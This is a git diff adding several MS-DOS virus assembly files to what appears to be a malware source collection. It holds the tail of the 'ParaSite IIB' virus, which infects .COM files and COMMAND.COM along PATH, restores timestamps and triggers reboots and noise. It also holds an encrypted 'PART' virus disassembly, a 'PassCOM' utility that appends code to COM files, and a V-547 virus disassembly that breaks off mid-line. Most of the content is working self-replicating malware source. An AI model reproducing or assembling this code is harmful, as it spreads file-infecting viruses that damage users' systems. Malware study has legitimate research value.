+ MOV DH,80h + MOV CH,0 + INT 13h + +Play_music: + MOV CX,20d ;Set number of Shots +new_shot: + PUSH CX ;Save Count + CALL Shoot + MOV CX,4000H +Silent: LOOP silent + POP CX + LOOP new_Shot + JMP mess + +SHOOT proc near ;The Machine Gun Noices... + MOV DX,140h + MOV BX,20h + IN AL,61h + AND AL,11111100b +SOUND: XOR AL,2 + OUT 61h,al + ADD dx,9248h + MOV CL,3 + ROR DX,CL + MOV CX,DX + AND cx,1ffh + OR CX,10 +WAITA: LOOP WAITA + DEC BX + JNZ SOUND + AND AL,11111100b + OUT 61h,AL + RET +Shoot Endp + +Get_Time: + MOV AH,2Ch ; Get System Time! + INT 21h ; + AND DH,0fh + CMP DH,3 + JB Play_music + CMP DH,3h + JA Find_Path + INT 19h + +go: + MOV AH, 47H + XOR DL,DL + ADD SI, OFFSET orig_path - OFFSET buffer - 8 + INT 21H + JC find_path + + MOV AH,3BH + MOV DX,SI + ADD DX, OFFSET root_dir - OFFSET orig_path + INT 21H + +infect_root: + MOV [BX+nam_ptr],DI + MOV SI,BX + ADD SI,f_ipec + MOV CX,6 + REPZ MOVSB + JMP hello + +find_path: + POP SI ; Seek and Destroy... + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will +; along and infect the ROOT directory on the default drive. + + JNZ find_path ;If not path, then go to ROOT di + LOOP check_next_4 ;Go back and check for more char + POP SI ;Load in PATH again to look for + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc ;the File Handle + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the handle to infect! + + +move_subdir: + LODSB ;To tedious work to move into su + NOP + CMP AL,';' ;Does it end with a ; character? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future refer + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS + NOP + MOV [BX+path_ad],SI ;Where is the next subdir? + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspac + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace +hello: + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... The File to infect + MOV CX,3 ;Attributes of Read Only or Hidd + INT 21H + JMP SHORT find_first +joe1: + JMP go + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirec + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + JMP CONT +JOE2: + JMP JOE1 +CONT: + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + MOV BX,OFFSET count + CMP BX,0 + JB joe2 + POP CX + XOR AX,AX ;XOR values so that we will give + XOR BX,BX ;poor sucker a hard time trying + XOR DX,DX ;reassemble the source code if h + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +Aurther DB "ParaSite IIB - By: Rock Steady" +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +fipec_ DB 'COMMAND.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0 +orig_path DB 64 dup (?) +root_dir DB '\',0 +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +f_ipec = fipec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + CODE ENDS +END VCODE + diff --git a/MSDOS/Virus.MSDOS.Unknown.part.asm b/MSDOS/Virus.MSDOS.Unknown.part.asm new file mode 100644 index 00000000..8a310033 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.part.asm @@ -0,0 +1,227 @@ + +PAGE 59,132 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ PART ŪŪ +;ŪŪ ŪŪ +;ŪŪ Created: 10-Aug-92 ŪŪ +;ŪŪ Passes: 5 Analysis Options on: J ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +data_11e equ 0F42h ;* +data_13e equ 2F42h ;* +data_14e equ 3F42h ;* +data_15e equ 65C4h ;* +data_16e equ 7090h ;* +data_17e equ 75C4h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +part proc far + +start: + esc 5,dh ; coprocessor escape + db 0D6h, 2Fh, 12h, 24h, 01h, 49h + db 44h, 7Eh, 2Eh, 82h, 01h,0F1h + db 0F9h, 90h,0DCh,0C3h, 21h, 74h + db 0EAh, 42h,0EDh, 72h, 81h, 7Bh + db 0B5h,0E4h, 6Eh, 71h, 64h, 4Ah + db 19h,0B6h,0CAh, 28h,0E0h, 17h + db 0C6h,0B5h, 33h, 36h, 09h,0C2h + db 0A3h,0A1h, 21h, 9Eh, 30h, 74h + db 0C5h, 51h,0E1h, 91h, 24h, 99h + db 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h + db 0FEh,0ACh, 27h, 10h,0C5h,0A5h + db 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh + db 49h, 58h, 2Fh, 1Dh, 65h,0E4h + db 74h,0F6h, 7Eh, 22h, 61h, 2Eh + db 0D2h,0FDh, 56h, 92h + db 2Eh +loc_1: + in ax,0F7h ; port 0F7h ??I/O Non-standard + lds cx,dword ptr [bp+di+75h] ; Load 32 bit ptr + mov [bp+si],es + sbb al,0DEh + sub bp,cx + out 0Eh,ax ; port 0Eh, DMA-1 clr mask reg + adc al,3Eh ; '>' + sub ax,73Eh + and [bx-39h],dh + pop bp + pop bx + mov dx,0D157h + and [bp+si],ax + inc sp + pop si + mov si,ax +;* pop cs ; Dangerous 8088 only + db 0Fh + pop cx + rcl byte ptr [bp+di+53h],cl ; Rotate thru carry + pop di + loop locloop_4 ; Loop if cx > 0 + + sub [bx-17h],ch + xor ax,398Ah + sal bh,1 ; Shift w/zeros fill + aaa ; Ascii adjust + or [bp+si+7AF0h],ch + loopnz $+36h ; Loop if zf=0, cx>0 + + xchg ax,bp + and al,0E4h + jl loc_1 ; Jump if < + call $-52ACh + xchg ax,cx + retn 10E7h + push di + int 3 ; Debug breakpoint + xchg ax,bp + sub dh,bh + inc cx + into ; Int 4 on overflow + aaa ; Ascii adjust + dec sp + db 6Ah + +locloop_4: + push ss + jmp $+422Bh +;* call far ptr sub_1 ;* + db 9Ah, 53h, 67h,0FFh, 82h + db 68h,0E9h, 4Bh,0DCh, 76h,0CBh + db 0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h + db 03h, 54h,0CCh, 85h + +locloop_5: + xor ah,al + push cs + retn + db 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh + db 0Fh, 86h, 52h, 56h,0F9h,0AEh + db 2Fh, 95h, 4Bh,0FDh, 77h,0E0h + db 0E8h, 69h,0ADh + db 0BBh, 85h, 97h, 02h, 7Ch,0CBh + db 0A8h, 39h,0DAh, 2Eh, 80h, 4Ah + db 74h, 8Ch, 4Ch, 85h, 6Dh, 42h + db 0FFh, 21h, 35h, 90h,0D0h, 48h + db 0A5h, 24h, 9Dh, 12h, 82h, 89h + db 0Dh,0C4h,0C5h,0E2h,0A7h, 71h + db 15h,0B8h,0CCh, 5Ch,0A7h + db 2Eh +loc_6: + nop + pop ss + or [bp+di],cl + inc sp + test bx,ds:data_11e[di] + and bp,ax + nop + and [bx+si+55h],cl + and al,6Dh ; 'm' + adc dh,[bp+si-77h] + std ; Set direction flag + les si,dword ptr [di] ; Load 32 bit ptr +;* loop locloop_12 ;*Loop if cx > 0 + + db 0E2h, 57h + jno loc_6 ; Jump if not overflw + mov ax,5C3Ch + push di +loc_8: + db 2Eh, 60h, 17h,0F8h, 0Bh,0B4h + db 85h, 8Dh, 42h, 1Fh, 21h,0D5h + db 90h, 30h, 48h, 45h, 24h, 7Dh + db 12h, 62h, 89h,0EDh,0C4h, 25h + db 0E2h, 47h, 71h,0F5h,0B8h + db 2Ch, 5Ch, 47h, 2Eh +loc_9: + jo loc_11 ; Jump if overflow=1 + call $-5BF2h + test di,ds:data_13e[di] + and bp,sp + nop + add [bx+si+75h],cl + and al,4Dh ; 'M' + adc dl,[bp+si-77h] + esc 5,ah ; coprocessor escape + adc ax,77E2h +loc_11: + jno loc_8 ; Jump if not overflw + mov ax,5C1Ch + ja loc_13 ; Jump if above + inc ax + pop ss + esc 0,[bp+di] ; coprocessor escape + xchg ax,sp + test bp,ds:data_14e[di] + and bp,si + nop + adc [bx+si+65h],cl + and al,5Dh ; ']' + adc al,[bp+si-77h] + int 0C4h ; ??INT Non-standard interrupt + add ax,67E2h +;* jno loc_10 ;*Jump if not overflw + db 71h,0D5h + mov ax,5C0Ch + db 67h, 2Eh, 50h, 17h,0C8h, 0Bh + db 84h, 85h,0DDh, 42h, 4Fh, 21h + db 85h, 90h + db 60h, 48h +loc_13: + adc ax,2D24h + adc dh,[bp+si] + mov ds:data_17e[di],di +;* loop locloop_15 ;*Loop if cx > 0 + + db 0E2h, 17h + jno loc_9 ; Jump if not overflw + mov ax,5C7Ch + pop ss + and cs:[bx],dl + mov ax,0F40Bh + test cx,bp + inc dx + pop di + and ds:data_16e[di],dx + dec ax + add ax,3D24h + adc ah,[bp+si] + mov ds:data_15e[di],bp + loop $+9 ; Loop if cx > 0 + +;* jno locloop_12 ;*Jump if not overflw + db 71h,0B5h + mov ax,5C6Ch + pop es + xor cs:[bx],dl + test al,8Bh + in ax,84h ; port 84h ??I/O Non-standard + std ; Set direction flag + inc si + db 61h, 30h, 55h, 81h, 40h, 48h + db 35h,0DAh,0E2h, 12h, 12h, 89h + db 9Dh,0C5h,0A4h,0E7h, 39h,0A0h + db 62h,0B7h,0ACh, 5Ch, 37h, 27h + db 0F4h, 15h, 98h, 0Bh,0D4h, 85h + db 0EDh, 42h, 7Fh, 21h,0B5h, 90h + db 50h, 48h, 25h, 24h, 1Dh, 12h + db 02h, 89h, 8Dh,0C4h, 45h,0E2h + db 27h, 71h, 95h,0B8h, 4Ch, 5Ch + db 27h, 2Eh, 10h, 17h, 88h, 5Eh + db 6Eh, 00h + +part endp + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.passcom.asm b/MSDOS/Virus.MSDOS.Unknown.passcom.asm new file mode 100644 index 00000000..c8e4f477 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.passcom.asm @@ -0,0 +1,401 @@ +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Black Wolf's File Protection Utilities 2.1s +; +;PassCOM - This program password protects the specified file by attaching +; code from PW_COM onto the file so that it will check for passwords +; each execution. It utilizes ULTIMUTE .93į to protect then PW_COM +; code from easy manipulation. +; +;LISCENSE: +; Released As Freeware - These files may be distributed freely. +; +;Any modifications made to this program should be listed below the solid line, +;along with the name of the programmer and the date the file was changed. +;Also - they should be commented where changed. +; +;NOTE THAT MODIFICATION PRIVILEDGES APPLY ONLY TO THIS VERSION (2.1s)! +;I'd appreciate notification of any modifications if at all possible, +;reach me through the address listed in the documentation file (bwfpu21s.doc). +; +;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages +;resulting from the use/misuse of this program/file. The user agrees to hold +;the author harmless for any consequences that may occur directly or +;indirectly from the use of this program by utilizing this program/file +;in any manner. +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +;Modifications: +; None as of 08/05/93 - Initial Release. + +.model tiny +.radix 16 +.code + + org 100 + + extrn _ULTMUTE:near, _END_ULTMUTE:byte + +start: + call GetFilename + call Get_Passes + call EncryptGP + call Do_File + mov ax,4c00 + int 21 +;--------------------------------------------------------------------------- +GetFilename: + mov ah,09 + mov dx,offset Message + int 21 + + mov dx,offset Filename_Data + mov al,60 + call gets + ret +;--------------------------------------------------------------------------- +Get_Passes: + Clear_Out_Passes: + mov di,offset Entered_Pass + mov cx,0ch ;Clear out entered pass. + xor ax,ax + repnz stosb + mov di,offset Password + mov cx,0ch ;Clear out entered pass. + xor ax,ax + repnz stosb + + mov ah,09 + mov dx,offset Req_Pass + int 21 + + mov di,offset Entered_Pass + mov cx,0ch + call GetPass + + mov ah,09 + mov dx, offset Dup_Pass + int 21 + + mov di,offset Password + mov cx,0ch + call GetPass + + call Check_Passwords + jc Get_Passes + + mov di,offset Entered_Pass + mov cx,0dh ;Clear out entered pass. + xor ax,ax + repnz stosb + +Randomize_Keys: + push ds + xor ax,ax + mov ds,ax + mov ax,word ptr ds:[46c] ;Randomizes encryption + pop ds + mov word ptr [Key1],ax + xor ax,1f3eh + ror ax,1 + mov word ptr [Key2],ax + + + +Encrypt_Password: ;This algorithm needs extra work... + mov bx,word ptr [Key1] + mov dx,word ptr [Key2] ;Encrypt the password + mov si,offset Password + mov di,si + mov cx,6 + EncryptIt: + lodsw + xor ax,bx + add bx,dx + stosw + loop EncryptIt + ret +;--------------------------------------------------------------------------- +Message: + db 'PassCOM 2.0 (c) 1993 Black Wolf Enterprises.',0a,0dh + db 'Enter Filename To Protect -> $' +;--------------------------------------------------------------------------- +Req_Pass db 0a,0dh,'Now Enter Password (up to 12 chars): $' +Dup_Pass db 0a,0dh,'Re-Enter Password: $' +Passes_Not db 0a,0dh,'Passwords do not match. Try again.',0a,0dh,24 +;--------------------------------------------------------------------------- +Check_Passwords: + mov si,offset Entered_Pass + mov di,offset Password + mov cx,0c + repz cmpsb + jcxz Password_Good + stc + ret +Password_Good: + clc + ret +;--------------------------------------------------------------------------- + + +gets: ;get string + mov ah,0a + push bx + mov bx,dx + mov byte ptr ds:[bx],al + mov byte ptr ds:[bx+1],0 + pop bx + int 21 + push bx + mov bx,dx + mov al,byte ptr ds:[bx+1] + xor ah,ah + add bx,ax + mov byte ptr ds:[bx+2],0 + pop bx + ret +;--------------------------------------------------------------------------- +GetPass: + KeyHit_Loop: ;Load in password + push cx + sub ax,ax + int 16 + cmp al,0dh + je HitReturn + stosb + pop cx + loop KeyHit_Loop + ret + HitReturn: + pop cx + xor al,al + repnz stosb + ret + + +;--------------------------------------------------------------------------- +Time dw 0 +Date dw 0 + +GetTime: + mov ax,5700 ;Get file date/time from handle BX + int 21 + mov word ptr cs:[Time],cx + mov word ptr cs:[Date],dx + ret + +SetTime: ;Set file date/time for handle BX + mov ax,5701 + mov cx,word ptr cs:[Time] + mov dx,word ptr cs:[Date] + int 21 + ret + +Do_File: + mov ax,3d02 + mov dx,offset Filename + int 21 ;Open file read/write + jc Terminate + xchg bx,ax + + call GetTime ;Get file date/time + call BackupFile ;make a copy.... + + mov ah,3f + mov cx,4 + mov dx,offset Storage_Bytes ;Read in first four bytes for jump + int 21 + + mov ax,4202 + xor cx,cx + xor dx,dx ;go to the end of the file + int 21 + + sub ax,3 + mov word ptr [JumpBytes+1],ax ;Save Jump size + + push bx + mov si,offset begin_password ;On Entry -> CS=DS=ES + mov di,offset _END_ULTMUTE ;SI=Source, DI=Destination + mov bx,ax ;BX=Next Entry Point + add bx,103 + mov cx,end_password-begin_password+1 ;CX=Size to Encrypt + mov ax,1 ;AX=Calling Style + + call _ULTMUTE ;Encrypt Code + + ;On Return -> CX=New Size + pop bx + + mov dx,offset _END_ULTMUTE + mov ah,40 ;Write encrypted code and + int 21 ;decryptor to end of file + + mov ax,4200 + xor dx,dx ;Go back to beginning of file + xor cx,cx + int 21 + + mov ah,40 + mov cx,4 + mov dx,offset JumpBytes ;Write in jump to decryptor + int 21 + + call SetTime ;Restore file date/time + + mov ah,3e + int 21 ;close file + ret + +Terminate: + mov ah,09 + mov dx,offset BadFile + int 21 + ret +BadFile db 'Error Opening File.',07,0dh,0a,24 + +JumpBytes db 0e9,0,0,'į' + +EncryptGP: ;Encrypt GoodPass routine in pw_com + xor ax,ax ;with value from password itself... + mov cx,0c + mov si,offset Password + +GetValue: + lodsb + add ah,al + ror ah,1 ;Get value to use for encrypt... + loop GetValue + + mov si,offset Goodpass + mov cx,EndGoodPass-GoodPass + +Decrypt_Restore: ;This needs improvement.... + mov al,[si] + xor al,ah + mov [si],al + inc si + loop Decrypt_Restore + ret + +BackupFile: ;Create copy of file... + mov si,offset Filename + mov cx,80 + + Find_Eofn: + lodsb + cmp al,'.' ;Find file extension + je FoundDot + or al,al + jz FoundZero + loop Find_Eofn + jmp Terminate +FoundZero: + mov byte ptr [si-1],'.' + inc si +FoundDot: + mov word ptr [si],'LO' + mov byte ptr [si+2],'D' ;Change extension to 'OLD' + mov byte ptr [si+3],0 + + + mov dx,offset Filename + mov word ptr [SourceF],bx + mov ah,3c + xor cx,cx + int 21 + jnc GCreate + jmp Terminate +GCreate: + mov word ptr cs:[Destf],ax +BackLoop: + mov ah,3f + mov bx,word ptr cs:[Sourcef] + mov cx,400 + mov dx,offset FileBuffer ;Copy file to backup + int 21 + + mov cx,ax + mov ah,40 + mov bx,word ptr cs:[Destf] + mov dx,offset Filebuffer + int 21 + + cmp ax,400 + je BackLoop +DoneBack: + mov bx,word ptr cs:[Destf] + call SetTime ;Save original date/time stamp in + ;backup + mov ah,3e + mov bx,word ptr cs:[Destf] + int 21 ;Close file + + mov ax,4200 + xor cx,cx + xor dx,dx + mov bx,word ptr cs:[Sourcef] ;Go back to the beginning of the + int 21 ;source file + ret + +SourceF dw 0 +DestF dw 0 + + ;This is code from PW_COM compiled converted to data bytes.. + ;If you modify PW_COM, you must compile it and convert it, then + ;place it here. Note that the byte 0ffh marks the beginning and + ;end of Goodpass for simplicity.... + +begin_password: +db 0e8h, 02dh, 01h, 02eh, 0c6h, 086h, 09h, 01h, 0eah, 0ebh +db 06h, 00h, 0ebh, 011h, 090h, 0adh, 0deh, 0bbh, 021h, 01h +db 03h, 0ddh, 053h, 02eh, 0c6h, 086h, 011h, 01h, 0c3h, 0ebh +db 0edh, 0ebh, 0f0h, 0fah, 050h, 01eh, 033h, 0c0h, 08eh, 0d8h +db 08dh, 086h, 01ch, 02h, 087h, 06h, 00h, 00h, 050h, 08ch +db 0c8h, 087h, 06h, 02h, 00h, 050h, 01eh, 0eh, 01fh, 02eh +db 0c7h, 086h, 044h, 01h, 090h, 090h, 033h, 0c9h, 0f7h, 0f1h +db 01fh, 058h, 087h, 06h, 02h, 00h, 058h, 087h, 06h, 00h +db 00h, 01fh, 058h, 0fbh, 0e8h, 0aah, 00h, 02eh, 080h, 086h +db 05eh, 01h, 010h, 0ebh, 03h, 090h, 0eah, 09ah, 0e8h, 081h +db 00h, 0e8h, 069h, 00h, 072h, 038h, 033h, 0c0h, 0b9h, 0ch +db 00h, 08dh, 0b6h, 04eh, 02h, 0ach, 02h, 0e0h, 0d0h, 0cch +db 0e2h, 0f9h, 08dh, 0b6h, 090h, 01h, 0b9h, 011h, 00h, 08ah +db 04h, 032h, 0c4h, 088h, 04h, 046h, 0e2h, 0f7h, 0e8h, 039h +db 00h, 0ebh, 01h, 0ffh + +GoodPass: +db 0bfh, 00h, 01h, 057h, 08dh, 0b6h +db 03eh, 02h, 0a5h, 0a5h, 033h, 0c0h, 08bh, 0f0h, 08bh, 0f8h +db 0c3h +EndGoodPass: + +db 0ffh, 0b4h, 09h, 08dh, 096h, 0afh, 01h, 0cdh, 021h +db 0b8h, 01h, 04ch, 0cdh, 021h, 0ah, 0dh, 050h, 061h, 073h +db 073h, 077h, 06fh, 072h, 064h, 020h, 049h, 06eh, 063h, 06fh +db 072h, 072h, 065h, 063h, 074h, 02eh, 07h, 024h, 090h, 0ebh +db 05h, 090h, 0eah, 0f8h, 0c3h, 09ah, 0fch, 0ebh, 0fah, 08dh +db 0b6h, 04eh, 02h, 08dh, 0beh, 042h, 02h, 0b9h, 0ch, 00h +db 0f3h, 0a6h, 0e3h, 03h, 0f9h, 0c3h, 0e9h, 0f8h, 0c3h, 00h +db 08bh, 09eh, 03ah, 02h, 08bh, 096h, 03ch, 02h, 08dh, 0b6h +db 04eh, 02h, 08bh, 0feh, 0b9h, 06h, 00h, 0adh, 033h, 0c3h +db 03h, 0dah, 0abh, 0e2h, 0f8h, 0c3h, 0eah, 0b9h, 0ch, 00h +db 08dh, 0beh, 04eh, 02h, 051h, 02bh, 0c0h, 0cdh, 016h, 03ch +db 0dh, 074h, 05h, 0aah, 059h, 0e2h, 0f3h, 0c3h, 059h, 032h +db 0c0h, 0f2h, 0aah, 0c3h, 0b4h, 09h, 08dh, 096h, 025h, 02h +db 0cdh, 021h, 0cfh, 050h, 061h, 073h, 073h, 077h, 06fh, 072h +db 064h, 02dh, 03eh, 024h, 05dh, 0ebh, 01h, 0eah, 055h, 081h +db 0edh, 03h, 01h, 0c3h +;------------------------------------------------------------------------ +Key1 dw 0 +Key2 dw 0 +;------------------------------------------------------------------------ +Storage_Bytes db 90,90,0cdh,20 +;------------------------------------------------------------------------ +Password db 'Greetings to' +Entered_Pass db 'everyone! ' +db 0,0,0,0,0,0,0 +end_password: + dw 0 + dw 0 +Filename_data dw 0 +Filename db 80 dup(0) ;These are stored as zeros to +FileBuffer db 400 dup(0) ;keep from overwriting ultimute... +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.path.asm b/MSDOS/Virus.MSDOS.Unknown.path.asm new file mode 100644 index 00000000..a71e1243 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.path.asm @@ -0,0 +1,341 @@ +;---------------------------------------------- +; Virus V-547 +; +; Dissasembled: Andrzej Kadlof April 1991 +; +; (C) Polish Section of Virus Information Bank +;---------------------------------------------- + +0100 E9FD00 JMP 0200 ; jump to virus + +; .... +; victim code +;==================== +; virus entry point + +0200 EB03 JMP 0205 + +0202 49 42 4D ; IBM + +; set DS to wirus working area + +0205 0E PUSH CS +0206 58 POP AX +0207 052000 ADD AX,0020 ; [0208] is modified for each victim +020A 8ED8 MOV DS,AX + +; restore oryginal first 3 bytes of victim + +020C 8B162002 MOV DX,[0220] +0210 2E89160001 MOV CS:[0100],DX +0215 8A362202 MOV DH,[0222] +0219 2E88360201 MOV CS:[0102],DH + +021E B80001 MOV AX,0100 ; application start address +0221 0E PUSH CS ; store on stack +0222 50 PUSH AX +0223 33FF XOR DI,DI +0225 2E8E062C00 MOV ES,CS:[002C] ; segment of environment +022A 51 PUSH CX +022B FC CLD +022C 32C0 XOR AL,AL + +022E B90500 MOV CX,0005 ; length of string +0231 BE1B02 MOV SI,021B ; PATH= +0234 F3A6 REPZ CMPSB +0236 740B JZ 0243 + +0238 B9E803 MOV CX,03E8 +023B F2AE REPNZ SCASB +023D 26803D00 CMP BYTE PTR ES:[DI],00 +0241 75EB JNZ 022E + +0243 8BF7 MOV SI,DI +0245 59 POP CX +0246 51 PUSH CX +0247 B42C MOV AH,2C ; get time +0249 CD21 INT 21 + +024B F6C601 TEST DH,01 ; seconds +024E 7503 JNZ 0253 + +0250 E9B401 JMP 0407 + +0253 88365702 MOV [0257],DH +0257 06 PUSH ES +0258 B42F MOV AH,2F ; Get DTA +025A CD21 INT 21 + +025C 891E2802 MOV [0228],BX +0260 8C062A02 MOV [022A],ES +0264 07 POP ES +0265 BA2C02 MOV DX,022C +0268 B41A MOV AH,1A ; set DTA +026A CD21 INT 21 + +026C B44E MOV AH,4E ; find first +026E BA2302 MOV DX,0223 +0271 B90800 MOV CX,0008 ; volume label +0274 CD21 INT 21 + +0276 7219 JB 0291 + +0278 813E44022110 CMP WORD PTR [0244],1021 ; date: 1988 January 1 +027E 7511 JNZ 0291 + +0280 81264202E0FF AND WORD PTR [0242],FFE0 ; clear seconds +0286 813E42022008 CMP WORD PTR [0242],0820 ; time: 01:01:00 +028C 7503 JNZ 0291 + +028E E96A01 JMP 03FB ; exit to application + +; copy founded string to local buffer + +0291 BF5802 MOV DI,0258 ; set buffer address + +0294 26803C3B CMP BYTE PTR ES:[SI],3B ; ';' end of string marker +0298 740F JZ 02A9 + +029A 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment +029E 7409 JZ 02A9 + +02A0 268A04 MOV AL,ES:[SI] +02A3 8805 MOV [DI],AL +02A5 47 INC DI +02A6 46 INC SI +02A7 EBEB JMP 0294 ; copy next character + +02A9 81FF5802 CMP DI,0258 ; path name non empty? +02AD 7509 JNZ 02B8 ; jump if no empty + +02AF 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment block? +02B3 7403 JZ 02B8 ; jump if yes + +02B5 E93801 JMP 03F0 ; no path name, exit + +02B8 81FF5802 CMP DI,0258 ; no path name? +02BC 7412 JZ 02D0 ; jump if yes + +02BE 26807CFF5C CMP BYTE PTR ES:[SI-01],5C ; '\' +02C3 740B JZ 02D0 + +02C5 26807CFF2F CMP BYTE PTR ES:[SI-01],2F ; '/' +02CA 7404 JZ 02D0 + +; add directory sign + +02CC C6055C MOV BYTE PTR 